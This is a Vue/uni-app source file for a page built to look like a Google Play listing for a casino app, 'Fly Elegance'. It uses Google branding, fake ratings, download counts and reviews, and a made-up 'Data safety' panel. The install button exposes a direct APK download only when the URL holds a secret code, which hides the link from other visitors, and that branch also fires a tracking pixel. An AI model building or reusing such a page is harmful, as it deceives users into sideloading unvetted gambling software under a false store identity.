<template>
	<view class="content">
		<view class="top-fixed">
			<view class="top-inner">
				<view class="left-top">
					<image mode="widthFix" src="@/static/img/logo-google.png"></image>
				</view>
				<view class="right-top">
					<view>{{$t('games')}}</view>
					<view class="light">{{$t('apps')}}
						<view></view>
					</view>
					<view>{{$t('movies')}}</view>
					<view>{{$t('books')}}</view>
					<view>{{$t('kids')}}</view>
				</view>
			</view>
		</view>
		<view class="box-out">
			<view class="text-area">
				<view class="topBanner">
					<view class="top-inner">
						<view class="left-top">
							<image mode="widthFix" src="@/static/img/logo.png"></image>
							{{$t('google_pay')}}
						</view>
						<view class="right-top"> </view>
					</view>
				</view>
				<view class="box-center">
					<image class="box-center-logo" mode="widthFix" src="@/static/favicon.png"></image>
					<view class="box-center-box">
						<view class="title-page">{{$t('fly_elegance')}}</view>
						<view class="txt-green">{{$t('fun_developers')}}</view>
					</view>
					<view class="flex-btw">
						<view class="flex-b1">
							<view>{{$t('reviewa_49')}}
								<image class="image1" mode="widthFix" src="@/static/img/starB.png"></image>
							</view>
							<view>{{$t('reviewa13')}}</view>
						</view>
						<view class="line-l"></view>
						<view class="flex-b1">
							<view>{{$t('k500')}}</view>
							<view>{{$t('downloads')}}</view>
						</view>
						<view class="line-l"></view>
						<view class="flex-b1">
							<view>
								<image class="image2" mode="widthFix" src="@/static/img/l.png"></image>
							</view>
							<view>{{$t('rate12')}}</view>
						</view>
					</view>
					<!-- 下载按钮 -->
					<view class="flex-btw flex-un">
						<view class="btn" @click="Download(DownloadUrl)">
							{{$t('install')}}
						</view>
						<view class="flex-share" hover-class="class-flex-hover" hover-start-time="2"
							hover-stay-time="200">
							<image mode="widthFix" src="@/static/img/share.png"></image>
							{{$t('share')}}
						</view>
						<view class="flex-add">
							<image mode="widthFix" src="@/static/img/add.png"></image>
							{{$t('add_wishlist')}}
						</view>
					</view>
					<!-- 轮播 -->
					<view class="banner">
						<view class="banner-box">
							<view v-for="(it,index) in banList" :key="index" class="backSwiper">
								<image mode="widthFix" :src="it.value"></image>
							</view>
						</view>
						<view class="box-right" hover-class="class-box-righ-hover" hover-start-time="2"
							hover-stay-time="100">
							<image mode="widthFix" src="@/static/img/right.png"></image>
						</view>
						<view class="app_support Medium">{{$t('app_support')}}</view>
					</view>
					<view class="box-title Medium">{{$t('about_app')}}</view>
					<view class="box-gray">{{$t('every_spin')}}</view>
					<view class="box-gray">{{$t('most_exciting')}}</view>
					<view class="box-gray">{{$t('with_amazing')}}</view>
					<view class="essllip">...</view>
					<view class="unp Medium">{{$t('updated_on')}}</view>
					<view class="unp2023 Medium">{{$t('nov_2023')}}</view>
					<view class="box-box Medium">
						<view class="EaMWib ">{{$t('casino_apps')}}</view>
						<view class="aJ3edd">{{$t('casino')}}</view>
					</view>
					<view class="box-title Medium">{{$t('data_safety')}}</view>
					<view style="height:6rpx;"></view>
					<view class="box-gray">{{$t('safe_starts')}}</view>
					<view style="height:9rpx;"></view>
					<view class="XGHsbd">
						<view class="wGcURe">
							<image class="T75of whEyae" src="@/static/img/c1.png"></image>
							<view>{{$t('app_ids')}}
								<view class="jECfAf">{{$t('app_ids_1')}}</view>
							</view>
						</view>
						<view class="wGcURe">
							<image class="T75of whEyae" src="@/static/img/c2.png"></image>
							<view>{{$t('app_ids2')}}
								<view class="jECfAf">{{$t('app_ids_2')}}</view>
							</view>
						</view>
						<view class="wGcURe">
							<image class="T75of whEyae" src="@/static/img/c4.png"></image>
							<view>{{$t('app_ids3')}}</view>
						</view>
						<view class="wGcURe">
							<image class="T75of whEyae" src="@/static/img/c3.png"></image>
							<view>{{$t('app_ids4')}}</view>
						</view>
						<view class="u4ICaf" hover-class="class-u4ICaf-hover" hover-start-time="2"
							hover-stay-time="100">
							{{$t('see_details')}}
						</view>
					</view>
					<view class="box-bb">
						<view class="box-t1 Medium">{{$t('rate_reviews')}}</view>
						<view class="box-t2" hover-class="class-box-t2-hover" hover-start-time="2"
							hover-stay-time="100">{{$t('rate_verified')}}</view>
					</view>
					<view class="box-cho Medium">
						<view class="box-c1" hover-class="class-box-c1-hover" hover-start-time="2"
							hover-stay-time="100">{{$t('Phone')}}</view>
						<view class="box-c2" hover-class="class-box-c2-hover" hover-start-time="2"
							hover-stay-time="100">{{$t('tablet')}}
						</view>
					</view>
					<view class="box-rate">
						<view class="left-box">
							<view class="left-l1 Medium">{{$t('rate49')}}</view>
							<view class="left-l2">
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image class="under" mode="scaleToFill" src="@/static/img/gra.png"></image>
							</view>
							<view class="left-l3">{{$t('reviews129k')}}</view>
						</view>
						<view class="right-box">
							<view class="boc-c">
								5<view>
									<view style="width:50% ;"></view>
								</view>
							</view>
							<view class="boc-c">
								4<view>
									<view style="width:15% ;"></view>
								</view>
							</view>
							<view class="boc-c">
								3<view>
									<view style="width:22% ;"></view>
								</view>
							</view>
							<view class="boc-c">
								2<view>
									<view style="width:10% ;"></view>
								</view>
							</view>
							<view class="boc-c">
								1<view>
									<view style="width:40% ;"></view>
								</view>
							</view>
						</view>
					</view>
					<view class="box-commit">
						<view class="commit-a">
							<view class="commit-a-1">
								<image mode="scaleToFill" src="@/static/img/h1.png"></image>{{$t('commit_1')}}
							</view>
							<view class="commit-a-2">
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gra.png"></image>
								{{$t('commit_time')}}
							</view>
							<view class="commit-a-3">
								{{$t('commit_inner')}}
							</view>
							<view class="commit-a-4">
								{{$t('commit_inner2')}}
							</view>
							<view class="commit-a-5">
								{{$t('commit_inner3')}}
								<text>{{$t('yes')}}</text>
								<text>{{$t('no')}}</text>
							</view>
						</view>
						<view class="commit-a">
							<view class="commit-a-1">
								<image mode="scaleToFill" src="@/static/img/h2.png"></image>
								{{$t('commit_2')}}
							</view>
							<view class="commit-a-2">
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gra.png"></image>
								<text>{{$t('commit_time2')}}</text>
							</view>
							<view class="commit-a-3">
								{{$t('commit_inner2_2')}}
							</view>
							<view class="commit-a-4">
								{{$t('commit_inner2_3')}}
							</view>
							<view class="commit-a-5">
								{{$t('commit_inner3')}}
								<text>{{$t('yes')}}</text>
								<text>{{$t('no')}}</text>
							</view>
						</view>
						<view class="commit-a">
							<view class="commit-a-1">
								<image mode="scaleToFill" src="@/static/img/h3.png"></image>
								{{$t('commit_3')}}
							</view>
							<view class="commit-a-2">
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gre.png"></image>
								<image mode="scaleToFill" src="@/static/img/gra.png"></image>
								{{$t('commit_time3')}}
							</view>
							<view class="commit-a-3">
								{{$t('commit_inner3_2')}}
							</view>
							<view class="commit-a-4">
								{{$t('commit_inner3_3')}}
							</view>
							<view class="commit-a-5">
								{{$t('commit_inner3')}}
								<text class="Medium">{{$t('yes')}}</text>
								<text class="Medium">{{$t('no')}}</text>
							</view>
						</view>
						<view class="more-box" hover-class="class-more-box-hover" hover-start-time="2"
							hover-stay-time="100">
							{{$t('all_reviews')}}
						</view>
					</view>
					<view class="whats-news Medium">{{$t('new_what')}}</view>
					<view class="games-news">{{$t('new_game')}}</view>
					<view class="support">{{$t('app_support')}}</view>
					<view class="flag-news Medium">{{$t('inappropriate')}}</view>
					<view class="line"></view>
					<view class="page-foot">
						<view>
							<view class="foot-top Medium">{{$t('google_pay')}}</view>
							<view class="foot-text " @click="$router.go(0)">{{$t('play_pass')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('play_points')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('gift_cards')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('redeem')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('refund_policy')}}</view>
						</view>
						<view style="width: 61rpx;"></view>
						<view>
							<view class="foot-top Medium">{{$t('family_kids')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('parent_guide')}}</view>
							<view class="foot-text" @click="$router.go(0)">{{$t('family_sharing')}}</view>
						</view>
					</view>
					<!-- 	<view class="box-last">
						<image mode="widthFix" src="@/static/img/india.png"></image>
						<view>{{$t('india')}}</view>
					</view> -->
				</view>
				<view class="page-under">
					<view>{{$t('terms_play')}}</view>
					<view>{{$t('privacy')}}</view>
					<view>{{$t('google_play')}}</view>
					<view>{{$t('developers')}}</view>
					<view>{{$t('google_store')}}</view>
					<view>{{$t('prices_include')}}</view>
					<view class="box-under">
						<image mode="widthFix" src="@/static/img/india.png"></image>
						{{$t('india')}}
					</view>
				</view>
			</view>
			<view class="box-center-logo2">
				<image mode="widthFix" src="@/static/favicon.png"></image>
			</view>

		</view>


	</view>
</template>

<script>
	export default {
		data() {
			return {
				DownloadUrl:"",
				banList: [{
					value: require("@/static/img/a0.png"),
				}, {
					value: require("@/static/img/a1.png"),
				}, {
					value: require("@/static/img/a2.png"),
				}, {
					value: require("@/static/img/a3.png"),
				}, ],
			}
		},
		onShow() {
			let params = new URLSearchParams(window.location.search)
			if (params.get('code')) {
				let loginCode = params.get('code')
				if (loginCode == 'sIekpj') {
					// 上报初始化 记录app
					fbq('init', '3463374077243607');
					fbq('track', 'PageView');
					this.DownloadUrl="https://flyelegance.com/img/fu-Fly-Elegance.apk"
				}
			}
		},
		methods: {

			// 判断是否为safari浏览器
			isSafari() {
				let res = uni.getSystemInfoSync();
				var ua = navigator.userAgent.toLowerCase();
				if (ua.indexOf('applewebkit') > -1 && ua.indexOf('mobile') > -1 && ua.indexOf('safari') > -1 &&
					ua.indexOf('linux') === -1 && ua.indexOf('android') === -1 && ua.indexOf('chrome') === -1 &&
					ua.indexOf('ios') === -1 && ua.indexOf('browser') === -1) {
					return true;
				} else {
					return false;
				}
				// return /Safari/.test(navigator.userAgent) && /Apple Computer/.test(navigator.vendor);
			},

			//下载安装包
			Download(e) {
				console.log(e)
				if (e) {
					// #ifdef APP-PLUS
					plus.runtime.openURL(e);
					// #endif

					// #ifndef APP-PLUS
					location.href = e
					// #endif

				}
			},
			//判断当前设备环境
			getDeviceType() {
				const systemInfo = uni.getSystemInfoSync();
				const platform = systemInfo.platform;
				if (platform === 'android') {
					return 'Android';
				} else if (platform === 'ios') {
					return 'IOS';
				} else if (platform === 'windows') {
					return 'Windows';
				} else if (platform === 'macos') {
					return 'macOS';
				} else {
					return 'PC';
				}
			},
		}
	}
</script>

<style lang="scss">
	@import 'index.scss';

	.content {
		position: absolute;
		top: 0;
		left: 0;
		right: 0;
		width: 750rpx;
		height: 100%;
		overflow-x: hidden;
		font-family: Regular;
	}
</style>